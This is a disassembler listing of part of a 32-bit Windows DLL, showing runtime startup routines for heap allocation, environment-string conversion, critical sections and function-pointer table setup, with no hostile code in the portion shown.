; BOOL __stdcall VerQueryValueA(const LPVOID pBlock, LPSTR lpSubBlock, LPVOID *lplpBuffer, PUINT puLen)
extrn __imp_VerQueryValueA:dword ; DATA XREF: VerQueryValueAr
; DWORD __stdcall GetFileVersionInfoSizeA(LPSTR lptstrFilename, LPDWORD lpdwHandle)
extrn __imp_GetFileVersionInfoSizeA:dword
; DATA XREF: GetFileVersionInfoSizeAr
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 69B11278h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dd 0
; =============== S U B R O U T I N E =======================================
sub_69B1127C proc near ; CODE XREF: sub_69B1CC44+15p
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B22BDD SIZE 0000000C BYTES
mov eax, [esp+arg_0]
add eax, 4
push eax ; dwBytes
push 8 ; dwFlags
push hHeap ; hHeap
call ds:HeapAlloc
test al, 4
jnz loc_69B22BDD
locret_69B1129A: ; CODE XREF: sub_69B1127C+11968j
retn 4
sub_69B1127C endp
; =============== S U B R O U T I N E =======================================
sub_69B1129D proc near ; CODE XREF: sub_69B1AC42+93p
; sub_69B1AC42+D5p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 69B112B1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 69B236E1 SIZE 0000000E BYTES
cmp dword_69B92940, 0
jnz loc_69B236E1
loc_69B112AA: ; CODE XREF: sub_69B1129D+18j
mov eax, [esp+arg_4]
locret_69B112AE: ; CODE XREF: sub_69B1129D+16j
retn 8
sub_69B1129D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1129D
loc_69B112B1: ; CODE XREF: sub_69B1129D+1244Dj
test eax, eax
jz short locret_69B112AE
jmp short loc_69B112AA
; END OF FUNCTION CHUNK FOR sub_69B1129D
; ---------------------------------------------------------------------------
loc_69B112B7: ; DATA XREF: sub_69B1CD73+7Co
call ds:TlsAlloc ; TlsAlloc
retn 4
; =============== S U B R O U T I N E =======================================
sub_69B112C0 proc near ; CODE XREF: sub_69B1B625+BFp
var_8 = dword ptr -8
cchWideChar = dword ptr -4
; FUNCTION CHUNK AT 69B24F66 SIZE 0000009D BYTES
push ecx
push ecx
mov eax, dword_69B95C48
push ebx
push ebp
push esi
push edi
mov edi, ds:GetEnvironmentStringsW
xor ebx, ebx
xor esi, esi
cmp eax, ebx
push 2
pop ebp
jnz loc_69B11375
call edi ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jz loc_69B24F66
mov dword_69B95C48, 1
loc_69B112F6: ; CODE XREF: sub_69B112C0+BEj
cmp esi, ebx
jz loc_69B24F87
loc_69B112FE: ; CODE XREF: sub_69B112C0+13CCFj
cmp [esi], bx
mov eax, esi
jz short loc_69B1131E
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
loc_69B11310: ; CODE XREF: sub_69B112C0+55j
; sub_69B112C0+5Cj
add eax, ebp
cmp [eax], bx
jnz short loc_69B11310
add eax, ebp
cmp [eax], bx
jnz short loc_69B11310
loc_69B1131E: ; CODE XREF: sub_69B112C0+43j
mov edi, ds:WideCharToMultiByte
push ebx ; lpUsedDefaultChar
push ebx ; lpDefaultChar
push ebx ; cchMultiByte
sub eax, esi
push ebx ; lpMultiByteStr
sar eax, 1
inc eax
push eax ; cchWideChar
push esi ; lpWideCharStr
push ebx ; dwFlags
push ebx ; CodePage
mov [esp+38h+cchWideChar], eax
call edi ; WideCharToMultiByte
mov ebp, eax
cmp ebp, ebx
jz short loc_69B11365
mov ecx, ebp
call sub_69B19560
cmp eax, ebx
mov [esp+18h+var_8], eax
jz short loc_69B11365
push ebx ; lpUsedDefaultChar
push ebx ; lpDefaultChar
push ebp ; cchMultiByte
push eax ; lpMultiByteStr
push [esp+28h+cchWideChar] ; cchWideChar
push esi ; lpWideCharStr
push ebx ; dwFlags
push ebx ; CodePage
call edi ; WideCharToMultiByte
test eax, eax
jz loc_69B24F94
loc_69B11361: ; CODE XREF: sub_69B112C0+13CE2j
mov ebx, [esp+18h+var_8]
loc_69B11365: ; CODE XREF: sub_69B112C0+7Bj
; sub_69B112C0+8Aj
push esi ; LPWSTR
call ds:FreeEnvironmentStringsW ; FreeEnvironmentStringsW
loc_69B1136C: ; CODE XREF: sub_69B112C0+13D3Ej
mov eax, ebx
loc_69B1136E: ; CODE XREF: sub_69B112C0+13CF1j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_69B11375: ; CODE XREF: sub_69B112C0+1Aj
; sub_69B112C0+13CB8j ...
cmp eax, 1
jnz loc_69B24FA7
jmp loc_69B112F6
sub_69B112C0 endp
; =============== S U B R O U T I N E =======================================
sub_69B11383 proc near ; CODE XREF: sub_69B1B625+C9p
; FUNCTION CHUNK AT 69B1C49A SIZE 000000A9 BYTES
; FUNCTION CHUNK AT 69B24DA9 SIZE 00000100 BYTES
push 54h
push offset dword_69B113F0
call sub_69B19C5C
xor esi, esi
mov [ebp-4], esi
lea eax, [ebp-5Ch]
push eax ; lpStartupInfo
call ds:GetStartupInfoA ; GetStartupInfoA
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, 480h
call sub_69B19560
cmp eax, esi
jz loc_69B1C53E
mov dword_69B96020, eax
mov uNumber, 20h
lea ecx, [eax+480h]
loc_69B113C9: ; CODE XREF: sub_69B11383+6Bj
cmp eax, ecx
jnb loc_69B1C4A4
mov byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov [eax+8], esi
add eax, 24h
mov ecx, dword_69B96020
add ecx, 480h
jmp short loc_69B113C9
sub_69B11383 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dword_69B113F0 dd 0FFFFFFFFh dd offset sub_69B24EA9
dd offset sub_69B24EAD
; =============== S U B R O U T I N E =======================================
sub_69B113FC proc near ; CODE XREF: sub_69B1BA12+Ep
; sub_69B1CFE4+12p ...
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B250B4 SIZE 0000001C BYTES
mov eax, [esp+arg_0]
push esi
lea esi, lpCriticalSection[eax*8]
cmp dword ptr [esi], 0
jz loc_69B250B4
loc_69B11411: ; CODE XREF: sub_69B113FC+13CC1j
; sub_69B113FC+13CCFj
push dword ptr [esi] ; lpCriticalSection
call ds:EnterCriticalSection
pop esi
retn
sub_69B113FC endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1A319
loc_69B1141B: ; CODE XREF: sub_69B1A319+C9j
; sub_69B1A319+D8j ...
test edi, edi
jz short loc_69B11423
mov byte ptr [edi], 0
inc edi
loc_69B11423: ; CODE XREF: sub_69B1A319-8EFCj
inc dword ptr [esi]
mov ebx, [ebp+arg_4]
jmp loc_69B1A388
; ---------------------------------------------------------------------------
loc_69B1142D: ; CODE XREF: sub_69B1A319+72j
; sub_69B1A319+8Fj
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_69B11437
and dword ptr [eax], 0
loc_69B11437: ; CODE XREF: sub_69B1A319-8EE7j
inc dword ptr [ebx]
pop edi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_69B1143D: ; CODE XREF: sub_69B1A319+4Fj
dec eax
jmp loc_69B1A384
; ---------------------------------------------------------------------------
loc_69B11443: ; CODE XREF: sub_69B1A319+AEj
inc eax
inc edx
jmp loc_69B1A3C4
; END OF FUNCTION CHUNK FOR sub_69B1A319
; =============== S U B R O U T I N E =======================================
sub_69B1144A proc near ; CODE XREF: sub_69B1D244p
mov eax, offset sub_69B8557E
mov off_69B92680, eax
mov off_69B92684, offset loc_69B85234
mov off_69B92688, offset sub_69B85299
mov off_69B9268C, offset sub_69B851F8
mov off_69B92690, offset loc_69B8527F
mov off_69B92694, eax
retn
sub_69B1144A endp
; =============== S U B R O U T I N E =======================================
sub_69B11482 proc near ; CODE XREF: sub_69B1D279+Cp
; FUNCTION CHUNK AT 69B24C55 SIZE 0000003A BYTES
xor eax, eax
test bl, 1
jz short loc_69B1148C
push 10h
pop eax
loc_69B1148C: ; CODE XREF: sub_69B11482+5j
test bl, 4
jz short loc_69B11494
or eax, 8
loc_69B11494: ; CODE XREF: sub_69B11482+Dj
test bl, 8
jz short loc_69B1149C
or eax, 4
loc_69B1149C: ; CODE XREF: sub_69B11482+15j
test bl, 10h
jz short loc_69B114A4
or eax, 2
loc_69B114A4: ; CODE XREF: sub_69B11482+1Dj
test bl, 20h
jz short loc_69B114AC
or eax, 1
loc_69B114AC: ; CODE XREF: sub_69B11482+25j
test bl, 2
jz short loc_69B114B6
or eax, 80000h
loc_69B114B6: ; CODE XREF: sub_69B11482+2Dj
push ebp
movzx edx, bx
push esi
mov ecx, edx
mov esi, 0C00h
and ecx, esi
push edi
mov edi, 300h
mov ebp, 200h
jnz loc_69B24C55
loc_69B114D5: ; CODE XREF: sub_69B11482+137E5j
; sub_69B11482+137EDj ...
and edx, edi
jz short loc_69B114EF
cmp edx, ebp
jnz short loc_69B114E2
or eax, 10000h
loc_69B114E2: ; CODE XREF: sub_69B11482+59j
; sub_69B11482+72j
test bh, 10h
pop edi
pop esi
pop ebp
jnz loc_69B24C85
locret_69B114EE: ; CODE XREF: sub_69B11482+13808j
retn
; ---------------------------------------------------------------------------
loc_69B114EF: ; CODE XREF: sub_69B11482+55j
or eax, 20000h
jmp short loc_69B114E2
sub_69B11482 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B114F6 proc near ; DATA XREF: .data:69B9212Co
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
mov [ebp+var_10], offset loc_69B5BAAC
xor eax, eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B96340
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset nullsub_3
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B96358
movsd
movsd
movsd
movsd
or [ebp+var_4], 0FFFFFFFFh
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B96370
movsd
movsd
movsd
movsd
pop edi
pop esi
leave
retn
sub_69B114F6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B11555 proc near ; DATA XREF: .data:69B92130o
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
mov [ebp+var_10], offset sub_69B5B197
xor eax, eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B92308
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5C589
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B92320
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5B202
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B92338
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5B337
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B92350
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5BEA5
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B92368
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5B3E3
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B92380
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5ACE7
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B92398
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5ACF7
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B923B0
movsd
movsd
movsd
movsd
or [ebp+var_4], 0FFFFFFFFh
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B923C8
movsd
movsd
movsd
movsd
pop edi
pop esi
leave
retn
sub_69B11555 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B1165C proc near ; DATA XREF: .data:69B92134o
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
mov [ebp+var_10], offset sub_69B5B263
xor eax, eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B923E0
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5B3FA
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B923F8
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5B464
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B92410
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5BEB9
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B92428
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5B2F9
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B92440
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5AD07
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B92458
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5AD1A
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B92470
movsd
movsd
movsd
movsd
or [ebp+var_4], 0FFFFFFFFh
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B92488
movsd
movsd
movsd
movsd
pop edi
pop esi
leave
retn
sub_69B1165C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B11747 proc near ; DATA XREF: .data:69B92138o
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
mov [ebp+var_10], offset sub_69B5B47E
xor eax, eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B924A0
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5AD2D
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B924B8
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5AD40
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B924D0
movsd
movsd
movsd
movsd
or [ebp+var_4], 0FFFFFFFFh
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B924E8
movsd
movsd
movsd
movsd
pop edi
pop esi
leave
retn
sub_69B11747 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B117C2 proc near ; DATA XREF: .data:69B9213Co
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
mov [ebp+var_10], offset sub_69B5B16B
xor eax, eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B92500
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5BE84
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B92518
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5B181
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B92530
movsd
movsd
movsd
movsd
or [ebp+var_4], 0FFFFFFFFh
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B92548
movsd
movsd
movsd
movsd
pop edi
pop esi
leave
retn
sub_69B117C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B1183D proc near ; DATA XREF: .data:69B92140o
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
mov [ebp+var_10], offset sub_69B5BECF
xor eax, eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B92560
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5AD53
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B92578
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5AD70
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B92590
movsd
movsd
movsd
movsd
or [ebp+var_4], 0FFFFFFFFh
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B925A8
movsd
movsd
movsd
movsd
pop edi
pop esi
leave
retn
sub_69B1183D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B118B8 proc near ; DATA XREF: .data:69B92144o
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
mov [ebp+var_10], offset sub_69B5B337
xor eax, eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B925C0
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5ACE7
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B925D8
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5ACF7
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B925F0
movsd
movsd
movsd
movsd
or [ebp+var_4], 0FFFFFFFFh
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B92608
movsd
movsd
movsd
movsd
pop edi
pop esi
leave
retn
sub_69B118B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B11933 proc near ; DATA XREF: .data:69B92148o
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
mov [ebp+var_10], offset sub_69B5B3FA
xor eax, eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B92620
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5AD07
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B92638
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5AD1A
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B92650
movsd
movsd
movsd
movsd
or [ebp+var_4], 0FFFFFFFFh
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B92668
movsd
movsd
movsd
movsd
pop edi
pop esi
leave
retn
sub_69B11933 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B119AE proc near ; DATA XREF: .data:69B9214Co
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
xor eax, eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
or ecx, 0FFFFFFFFh
mov [ebp+var_4], ecx
lea esi, [ebp+var_10]
mov edi, offset dword_69B96148
movsd
movsd
movsd
movsd
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], ecx
lea esi, [ebp+var_10]
mov edi, offset dword_69B96158
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5C2C9
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B96168
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5B040
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B96188
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5CA0B
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B96198
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5BEDE
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B961A8
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5B0D9
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B961C8
movsd
movsd
movsd
movsd
lea esi, [ebp+var_10]
mov edi, offset dword_69B961D8
mov [ebp+var_10], offset sub_69B5A9BB
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5C076
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B961E8
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5ACA1
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B96208
movsd
movsd
movsd
movsd
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], ecx
lea esi, [ebp+var_10]
mov edi, offset dword_69B96218
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5AD8D
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B96228
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5C416
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B96248
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5C433
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B96258
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5BE76
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B96268
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5C3BA
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B96288
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5A9E0
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B96298
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5C12E
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B962A8
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5A973
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B962C8
movsd
movsd
movsd
movsd
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], ecx
lea esi, [ebp+var_10]
mov edi, offset dword_69B962D8
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5C715
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B962E8
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5A99E
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B96308
movsd
movsd
movsd
movsd
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], ecx
lea esi, [ebp+var_10]
mov edi, offset dword_69B96318
movsd
movsd
movsd
movsd
mov [ebp+var_10], offset sub_69B5ADBA
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
lea esi, [ebp+var_10]
mov edi, offset dword_69B96328
movsd
movsd
movsd
movsd
pop edi
pop esi
leave
retn
sub_69B119AE endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B17F72
loc_69B11C4B: ; CODE XREF: sub_69B17F72+24j
mov [ebp+var_4], 0FFFFFFFh
jmp loc_69B17FA4
; ---------------------------------------------------------------------------
loc_69B11C57: ; CODE XREF: sub_69B17F72+45j
mov [ebp+arg_0], edx
mov [ebp+var_C], edx
mov ecx, edx
jmp loc_69B17FC6
; ---------------------------------------------------------------------------
loc_69B11C64: ; CODE XREF: sub_69B17F72+337Bj
call sub_69B2D461
jmp loc_69B1B2F9
; ---------------------------------------------------------------------------
loc_69B11C6E: ; CODE XREF: sub_69B17F72+3396j
xor eax, eax
jmp loc_69B18087
; END OF FUNCTION CHUNK FOR sub_69B17F72
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B19DB4
loc_69B11C75: ; CODE XREF: sub_69B19DB4+3Dj
push 204h ; dwBytes
call sub_69B19E4E
test eax, eax
pop ecx
mov [ebx], eax
mov ebp, eax
jz loc_69B238AF
jmp loc_69B19DF7
; END OF FUNCTION CHUNK FOR sub_69B19DB4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1818F
loc_69B11C91: ; CODE XREF: sub_69B1818F+Bj
push esi
call sub_69B19DB4
jmp loc_69B181A0
; END OF FUNCTION CHUNK FOR sub_69B1818F
; [00000006 BYTES: COLLAPSED FUNCTION GetFileVersionInfoSizeA. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION GetFileVersionInfoA. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION VerQueryValueA. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B11CAE proc near ; CODE XREF: sub_69B1B814+62p
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
; FUNCTION CHUNK AT 69B220FC SIZE 00000007 BYTES
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
add ecx, 1
neg ecx
sub edi, 1
mov al, [ebp+arg_4]
std
repne scasb
add edi, 1
cmp [edi], al
jnz loc_69B220FC
mov eax, edi
loc_69B11CD7: ; CODE XREF: sub_69B11CAE+10450j
cld
pop edi
leave
retn
sub_69B11CAE endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1A799
loc_69B11CDB: ; CODE XREF: sub_69B1A799+80j
call sub_69B19AEC
push eax
lea edi, [esi+24h]
push edi
call sub_69B17320
mov edi, [edi]
mov eax, [edi]
push edi
call dword ptr [eax+8]
jmp loc_69B1A81F
; ---------------------------------------------------------------------------
loc_69B11CF7: ; CODE XREF: sub_69B1A799+5Fj
xor edi, edi
jmp loc_69B1A80B
; END OF FUNCTION CHUNK FOR sub_69B1A799
